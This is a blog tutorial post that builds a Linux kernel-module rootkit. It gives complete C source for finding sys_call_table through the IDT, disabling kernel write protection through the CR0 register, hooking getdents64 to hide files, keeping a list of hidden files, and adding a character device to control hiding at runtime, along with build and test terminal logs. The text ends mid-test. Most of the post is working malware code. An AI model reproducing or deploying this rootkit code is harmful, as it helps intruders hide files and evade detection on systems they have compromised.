In this post I am going to be putting together all of the knowledge we have gained in the previous posts and improving on the last rootkit in a few different ways.
I will fix the issue that I explained the last LKM had (being able to query the file directly using ls [filename]
), while making it more portable and giving it the ability to hide multiple files but I will start with splitting the LKM into multiple files to make it easier to manage.
The code for this rootkit will be in a link at the bottom of the post in .tgz format.
Splitting The LKM
Having the LKM split across multiple files makes it easier to manage, especially as the module gets more and more complex.
First we will start with the main file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 | #include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>
MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");
void **sys_call_table;
static int __init hidefiles_init(void)
{
sys_call_table = (void*)0xc1454100;
original_getdents64 = sys_call_table[__NR_getdents64];
set_page_rw(sys_call_table);
sys_call_table[__NR_getdents64] = sys_getdents64_hook;
set_page_ro(sys_call_table);
return 0;
}
static void __exit hidefiles_exit(void)
{
set_page_rw(sys_call_table);
sys_call_table[__NR_getdents64] = original_getdents64;
set_page_ro(sys_call_table);
return;
}
module_init(hidefiles_init);
module_exit(hidefiles_exit);
|
I've made a couple of changes here, like I've set the sys_call_table page to read only after I've made the change and changing the name of the init and exit functions, but other than that it is copy and pasted from the last LKM.
Now for the file containing the system calls:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | #define FILE_NAME "thisisatestfile.txt"
asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
int rtn;
struct linux_dirent64 *cur = dirp;
int i = 0;
rtn = original_getdents64(fd, dirp, count);
while (i < rtn) {
if (strncmp(cur->d_name, FILE_NAME, strlen(FILE_NAME)) == 0) {
int reclen = cur->d_reclen;
char *next_rec = (char *)cur + reclen;
int len = (int)dirp + rtn - (int)next_rec;
memmove(cur, next_rec, len);
rtn -= reclen;
continue;
}
i += cur->d_reclen;
cur = (struct linux_dirent64*) ((char*)dirp + i);
}
return rtn;
}
|
We also need to create a header file for the syscalls so that the functions can be referenced from the main.c
file:
1
2
3
4
5
6
7
8
9
10
11
12 | #ifndef SYSCALLS
#define SYSCALLS
#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>
// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
#endif
|
This needs to be included in both the main.c
and syscalls.c
files, just add the line #include "syscalls.h"
somewhere near the top.
This is why we have to put #ifndef
, this ensures that the file will not be included twice.
Now we need to create the C file for the last set of functions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 | #include <asm/cacheflush.h>
int set_page_rw(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
return 0;
}
int set_page_ro(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
return 0;
}
|
We also need to create a header file for these functions so we can use them inside main.c
:
| #ifndef FUNCTS
#define FUNCTS
int set_page_rw(unsigned long addr);
int set_page_ro(unsigned long addr);
#endif
|
This file also needs to be included in main.c
with the line #include "functs.h"
.
We now need a makefile:
| obj-m += hidefiles.o
hidefiles-y := main.o syscalls.o functs.o
|
I couldn't get it to work by just running make
so I had to run the full command myself:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
CC [M] /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:21:9: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:23:2: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c: In function ‘hidefiles_exit’:
/root/lkms/hidefiles/main.c:29:2: warning: passing argument 1 of ‘set_page_rw’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:4:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
/root/lkms/hidefiles/main.c:31:9: warning: passing argument 1 of ‘set_page_ro’ makes integer from pointer without a cast [enabled by default]
In file included from /root/lkms/hidefiles/main.c:7:0:
/root/lkms/hidefiles/functs.h:5:5: note: expected ‘long unsigned int’ but argument is of type ‘void **’
CC [M] /root/lkms/hidefiles/functs.o
LD [M] /root/lkms/hidefiles/hidefiles.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/lkms/hidefiles/hidefiles.mod.o
LD [M] /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
|
We can ignore these warnings for the moment, we are going to replace these functions anyway.
Now to test our rootkit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73 | root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.o
root@dev:~/lkms/hidefiles# touch thisisatestfile.txt
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls -l
total 460
-rw-r--r-- 1 root root 344 Oct 31 14:11 functs.c
-rw-r--r-- 1 root root 113 Oct 31 14:11 functs.h
-rw-r--r-- 1 root root 62328 Oct 31 14:11 functs.o
-rw-r--r-- 1 root root 152670 Oct 31 14:11 hidefiles.ko
-rw-r--r-- 1 root root 810 Oct 31 14:11 hidefiles.mod.c
-rw-r--r-- 1 root root 42660 Oct 31 14:11 hidefiles.mod.o
-rw-r--r-- 1 root root 111024 Oct 31 14:11 hidefiles.o
-rw-r--r-- 1 root root 825 Oct 31 14:04 main.c
-rw-r--r-- 1 root root 33312 Oct 31 14:11 main.o
-rw-r--r-- 1 root root 64 Oct 31 14:01 Makefile
-rw-r--r-- 1 root root 41 Oct 31 14:11 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 968 Oct 31 14:00 syscalls.c
-rw-r--r-- 1 root root 352 Oct 31 14:07 syscalls.h
-rw-r--r-- 1 root root 18048 Oct 31 14:07 syscalls.o
-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txt
|
So it seems to work nicely, now we can concentrate on extending it.
Automagically Finding sys_call_table
A brilliant writeup of how to find the sys_call_table, amungst other things, on x86 Linux is here. I highly recommend reading that post.
We are going to use the technique under section 3.1, titled How to get sys_call_table[] without LKM.
You can use a slight vairation of this technique on each architecture, just search Google a bit and you should be able to find something if you can't work it out from this description.
Firstly we need to read the Interrupt Descriptor Table Register (IDTR) and get the address of the base of the Interrupt Descriptor Table (IDT).
Offset 0x80 from the IDT base address is the address of a function called system_call
, this function uses call
to make system calls using the sys_call_table.
Once we have the base address of the system_call
function we need to search through its code for 3 bytes ("\xff\x14\x85").
The memmem
function just searches through code for a particular set of bytes and returns a pointer to it if found or NULL if not. Its implemented in libc but we will have to implement it ourselves in our LKM.
We also need to remember to include the 2 structs idtr and idt.
Here's the code for all of this which we can put into functs.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 | struct {
unsigned short limit;
unsigned long base;
} __attribute__ ((packed))idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed))idt;
void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen)
{
char *p;
for(p = (char *)haystack; p <= ((char *)haystack - needlelen + haystacklen); p++)
if(memcmp(p, needle, needlelen) == 0)
return (void *)p;
return NULL;
}
unsigned long *find_sys_call_table(void)
{
char **p;
unsigned long sct_off = 0;
unsigned char code[255];
asm("sidt %0":"=m" (idtr));
memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
sct_off = (idt.off2 << 16) | idt.off1;
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);
if(p)
return *(unsigned long **)((char *)p + 3);
else
return NULL;
}
|
We also need to add the following prototype to functs.h
:
| unsigned long *find_sys_call_table(void);
|
Lastly we need to edit main.c
so that we get the address of sys_call_table using this method, we just replace the line that starts sys_call_table =
with:
| sys_call_table = find_sys_call_table();
if(sys_call_table == NULL)
return 1;
|
Improving The Method Of Writing To Read-Only Memory
So far we have manually changed the page table entry to change the permissions on the specific page that we want to write to read-write.
As we are running with the same privileges as the kernel we can do this in an easier way and ensure that any changes to this mechanism in the future doesn't stop our ability to write to this memory.
Running in kernel mode we have the ability to change the CR0 register.
The 16th bit of the CR0 register is responsible for enforcing whether or not the CPU can write to memory marked read-only.
With this is mind we can rewrite the functions that we were using in functs.c
for this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 | void disable_write_protection(void)
{
unsigned long value;
asm volatile("mov %%cr0,%0" : "=r" (value));
if (value & 0x00010000) {
value &= ~0x00010000;
asm volatile("mov %0,%%cr0": : "r" (value));
}
}
void enable_write_protection(void)
{
unsigned long value;
asm volatile("mov %%cr0,%0" : "=r" (value));
if (!(value & 0x00010000)) {
value |= 0x00010000;
asm volatile("mov %0,%%cr0": : "r" (value));
}
}
|
I've changed the names to make it apparent that these functions are actually doing something different.
You also need to change the 2 prototypes in functs.h
to:
| void disable_write_protection(void);
void enable_write_protection(void);
|
Lastly we need to edit main.c
, remember these new functions do not require an argument.
Multi-File Support
To support hiding multiple files we need to implement a character device to communicate with the rootkit (we could use a network connection but we'll take that up later) and we need a method of storing the data.
For storing the data we will use a linked list, the kernel has the ability to manipulate linked lists but I will create my own functions for doing this as a programming exercise (later we will investigate how to use the features already in the kernel).
Linked List
First let's create the linked list and the functions for adding and removing items:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61 | struct file_list {
char *file_name;
struct file_list *next_file;
};
typedef struct file_list list;
list *hidden_files = NULL;
void addfile(const char *f)
{
list *tmp;
char *s;
if (hidden_files == NULL) {
tmp = (list*)vmalloc(sizeof(list));
s = vmalloc(sizeof(*f));
strcpy(s, f);
tmp->file_name = s;
tmp->next_file = hidden_files;
hidden_files = tmp;
} else {
tmp = hidden_files;
while (tmp != NULL && (strlen(tmp->file_name) != strlen(f) || strncmp(tmp->file_name, f, strlen(tmp->file_name)) != 0)) {
tmp = tmp->next_file;
}
if (tmp == NULL) {
list *tmp2;
tmp2 = (list*)vmalloc(sizeof(list));
s = vmalloc(sizeof(*f));
strcpy(s, f);
tmp2->file_name = s;
tmp2->next_file = hidden_files;
hidden_files = tmp2;
}
}
}
void remfile(const char *f)
{
list *tmp, *tmp2;
int c = 0;
tmp = hidden_files;
while (tmp != NULL) {
if (strlen(tmp->file_name) == strlen(f)){
if (strncmp(tmp->file_name, f, strlen(tmp->file_name)) == 0) {
if (c == 0) {
hidden_files = tmp->next_file;
vfree(tmp->file_name);
vfree(tmp);
return;
}
tmp2->next_file = tmp->next_file;
vfree(tmp->file_name);
vfree(tmp);
}
}
tmp2 = tmp;
tmp = tmp->next_file;
c += 1;
}
}
|
The structure of each element is defined at the top (lines 1 - 4), its pretty simple, just a basic singly linked list.
2 functions are then defined addfile
and remfile
, which are pretty self-explainitory, 1 thing to note here is that the vmalloc
function is being used to allocate the memory, which allocates a contiguous address range of virtual memory, this obviously means that vfree
has to be used to free the memory after.
Both of these functions take 1 argument, a string, and add or remove that string to the list depending on which function is called.
Its best to create a function that empties the list:
| void emptylist()
{
list *tmp;
tmp = hidden_files;
while (tmp != NULL) {
hidden_files = tmp->next_file;
vfree(tmp->file_name);
vfree(tmp);
tmp = hidden_files;
}
}
|
Lastly we need a function to check if a name exists in the list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 | int lookupfilename(const char *f)
{
list *tmp;
tmp = hidden_files;
while (tmp != NULL) {
if (strlen(tmp->file_name) == strlen(f)){
if (strncmp(f, tmp->file_name, strlen(tmp->file_name)) == 0){
return 1;
}
}
tmp = tmp->next_file;
}
return 0;
}
|
This functions takes a string as an argument and iterates through the list checking, first the length, and then the whole string, against every entry in the list, if it finds a match it returns a 1
, otherwise it returns a 0
.
Initially I developed this linked list in a normal C application and just improved upon it and kernelfied it. :-) Here is my original application:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct file_list {
char *file_name;
struct file_list *next_file;
};
typedef struct file_list list;
list *hidden_files = NULL;
void addfile(const char *f);
void remfile(char *f);
void printfiles();
void main()
{
addfile("one");
remfile("one");
printfiles();
addfile("two");
printfiles();
addfile("three");
addfile("four");
printfiles();
remfile("two");
printfiles();
}
void addfile(const char *f)
{
list *tmp;
if (hidden_files == NULL) {
tmp = (list*)malloc(sizeof(list));
char *s = malloc(sizeof(*f));
strcpy(s, f);
tmp->file_name = s;
tmp->next_file = hidden_files;
hidden_files = tmp;
} else {
tmp = hidden_files;
while (tmp != NULL && strcmp(tmp->file_name, f) != 0) {
tmp = tmp->next_file;
}
if (tmp == NULL) {
list *tmp2;
tmp2 = (list*)malloc(sizeof(list));
char *s = malloc(sizeof(*f));
strcpy(s, f);
tmp2->file_name = s;
tmp2->next_file = hidden_files;
hidden_files = tmp2;
}
}
}
void remfile(char *f)
{
list *tmp, *tmp2;
int c = 0;
tmp = hidden_files;
while (tmp != NULL) {
if (strcmp(tmp->file_name, f) == 0) {
if (c == 0) {
hidden_files = tmp->next_file;
free(tmp->file_name);
free(tmp);
return;
}
tmp2->next_file = tmp->next_file;
free(tmp->file_name);
free(tmp);
}
tmp2 = tmp;
tmp = tmp->next_file;
c += 1;
}
}
void printfiles()
{
list *tmp;
tmp = hidden_files;
while (tmp != NULL) {
printf("%s : %x\n", tmp->file_name, tmp->next_file);
tmp = tmp->next_file;
}
}
|
Clearly this application is using more primitive versions of the addfile
and remfile
functions above. Its also using the usermode's malloc
and free
instead of vmalloc
and vfree
for obvious reasons.
I only included this to show how I've developed these functions in usermode and then converted it to kernelmode.
Anyway, the kernel functions above (addfile
, remfile
, emptylist
and lookupfilename
) as well as the struct declarations and definition should go into the file list.c
.
#include "list.h"
should be put at the top and the file list.h
should be created with the following:
1
2
3
4
5
6
7
8
9
10
11
12 | #ifndef LIST
#define LIST
#include <linux/vmalloc.h>
// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);
#endif
|
We need to include the linux/vmalloc.h header file for the vmalloc
and vfree
functions.
syscalls.c
needs to be changed, list.h
needs to be included, the FILE_NAME
definition should be removed and the strncmp
line should be changed to use lookupfilename
instead, so it should end up like the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 | #include "syscalls.h"
#include "list.h"
asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
int rtn;
struct linux_dirent64 *cur = dirp;
int i = 0;
rtn = original_getdents64(fd, dirp, count);
while (i < rtn) {
if (lookupfilename(cur->d_name) == 1) {
int reclen = cur->d_reclen;
char *next_rec = (char *)cur + reclen;
int len = (int)dirp + rtn - (int)next_rec;
memmove(cur, next_rec, len);
rtn -= reclen;
continue;
}
i += cur->d_reclen;
cur = (struct linux_dirent64*) ((char*)dirp + i);
}
return rtn;
}
|
Because we want to hide some files when the LKM is loaded and also empty the list when the LKM is unloaded we need to include the list.h
header file and make the relevent calls to addfile
and emptylist
in main.c
, so our main.c
should end up like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40 | #include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>
#include "syscalls.h"
#include "functs.h"
#include "list.h"
MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");
void **sys_call_table;
static int __init hidefiles_init(void)
{
sys_call_table = find_sys_call_table();
if(sys_call_table == NULL)
return 1;
original_getdents64 = sys_call_table[__NR_getdents64];
disable_write_protection();
sys_call_table[__NR_getdents64] = sys_getdents64_hook;
enable_write_protection();
addfile("thisisatestfile.txt");
return 0;
}
static void __exit hidefiles_exit(void)
{
disable_write_protection();
sys_call_table[__NR_getdents64] = original_getdents64;
enable_write_protection();
emptylist();
return;
}
module_init(hidefiles_init);
module_exit(hidefiles_exit);
|
Lastly we need to edit the Makefile
to include list.o
, so it should end up like this:
| obj-m += hidefiles.o
hidefiles-y := main.o syscalls.o functs.o list.o
|
Now to compile and test:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
CC [M] /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:18:17: warning: assignment from incompatible pointer type [enabled by default]
CC [M] /root/lkms/hidefiles/syscalls.o
CC [M] /root/lkms/hidefiles/list.o
LD [M] /root/lkms/hidefiles/hidefiles.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/lkms/hidefiles/hidefiles.mod.o
LD [M] /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms/hidefiles# ls
functs.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h thisisatestfile.txt
functs.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls
functs.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
functs.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls
functs.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h thisisatestfile.txt
functs.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
|
So, as you can clearly see, our LKM automatically hides files on initialization and now should have the capability to hide multiple files.
Character Device
We now need the ability to communicate with the LKM to dynamically hide and unhide files. The only way we've learned how to do this so far is by using a character device.
This character device will be simpler than our previous one because we only need the write operation but you can implement read for feedback if you want.
We will put this in a new file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51 | #include "cdev.h"
#define DEV_MAX 512
static struct file_operations dev_fops = {
.write = dev_write,
};
struct miscdevice dev_misc_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "hidefiles",
.fops = &dev_fops
};
ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp )
{
char temp_dev_file[DEV_MAX+1], new_dev_file[DEV_MAX];
int i, n;
memset(new_dev_file, 0, DEV_MAX);
memset(temp_dev_file, 0, DEV_MAX+1);
if(count > DEV_MAX){
if(copy_from_user(temp_dev_file,buff,DEV_MAX) != 0)
printk("Userspace -> kernel copy failed!\n");
else {
temp_dev_file[DEV_MAX] = '\0';
for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
new_dev_file[n] = temp_dev_file[i];
}
if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
addfile(new_dev_file);
} else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
remfile(new_dev_file);
}
}
return DEV_MAX;
} else {
if(copy_from_user(temp_dev_file,buff,count) != 0)
printk("Userspace -> kernel copy failed!\n");
else {
for (i = 2, n = 0; i < strlen(temp_dev_file); i++, n++) {
new_dev_file[n] = temp_dev_file[i];
}
if (strncmp(temp_dev_file, "a", 1) == 0 || strncmp(temp_dev_file, "A", 1) == 0) {
addfile(new_dev_file);
} else if (strncmp(temp_dev_file, "r", 1) == 0 || strncmp(temp_dev_file, "R", 1) == 0) {
remfile(new_dev_file);
}
}
return count;
}
}
|
Here I'm setting the maximum size to 512 but you can set it to what you wish.
I also return the number of bytes written here so that it doesn't break some applications that try to write to it (python for example).
The first character of the input is being used as the operation (A or a for adding a file and R or r for removing a file) and the actual filename starts after the second character in the input.
I've also fixed the buffer overflow that was in the last character device.
We need to create the following header file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 | #ifndef CDEV
#define CDEV
#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/miscdevice.h>
#include "list.h"
// Functions
ssize_t dev_write(struct file *filep,const char *buff,size_t count,loff_t *offp );
// Structs
extern struct miscdevice dev_misc_device;
#endif
|
Now we need to include cdev.h
in main.c
, by adding the line #include "cdev.h"
at the top, initialize the device on load and remove the device on unload, so our main.c
should end up like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 | #include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>
#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"
MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");
void **sys_call_table;
static int __init hidefiles_init(void)
{
sys_call_table = find_sys_call_table();
if(sys_call_table == NULL)
return 1;
original_getdents64 = sys_call_table[__NR_getdents64];
disable_write_protection();
sys_call_table[__NR_getdents64] = sys_getdents64_hook;
enable_write_protection();
misc_register(&dev_misc_device);
addfile("thisisatestfile.txt");
return 0;
}
static void __exit hidefiles_exit(void)
{
disable_write_protection();
sys_call_table[__NR_getdents64] = original_getdents64;
enable_write_protection();
misc_deregister(&dev_misc_device);
emptylist();
return;
}
module_init(hidefiles_init);
module_exit(hidefiles_exit);
|
Lastly we need to add cdev.o
to the makefile:
| obj-m += hidefiles.o
hidefiles-y := main.o syscalls.o functs.o list.o cdev.o
|
Now we just need to test it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51 | root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
CC [M] /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:50:1: warning: the frame size of 1028 bytes is larger than 1024 bytes [-Wframe-larger-than=]
LD [M] /root/lkms/hidefiles/hidefiles.o
Building modules, stage 2.
MODPOST 1 modules
LD [M] /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms/hidefiles# ls
app cdev.h functs.h hidefiles.mod.c list.c main.c modules.order syscalls.h
app.c cdev.o functs.o hidefiles.mod.o list.h main.o Module.symvers syscalls.o
cdev.c functs.c hidefiles.ko hidefiles.o list.o Makefile syscalls.c thisisatestfile.txt
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls
app cdev.c cdev.o functs.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
app.c cdev.h functs.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.ko")'
root@dev:~/lkms/hidefiles# ls
app cdev.c cdev.o functs.h hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
app.c cdev.h functs.c functs.o hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app")'
root@dev:~/lkms/hidefiles# ls
app.c cdev.h functs.c functs.o hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
cdev.c cdev.o functs.h hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app.c")'
root@dev:~/lkms/hidefiles# ls
cdev.c cdev.o functs.h hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
cdev.h functs.c functs.o hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app.c")'
root@dev:~/lkms/hidefiles# ls
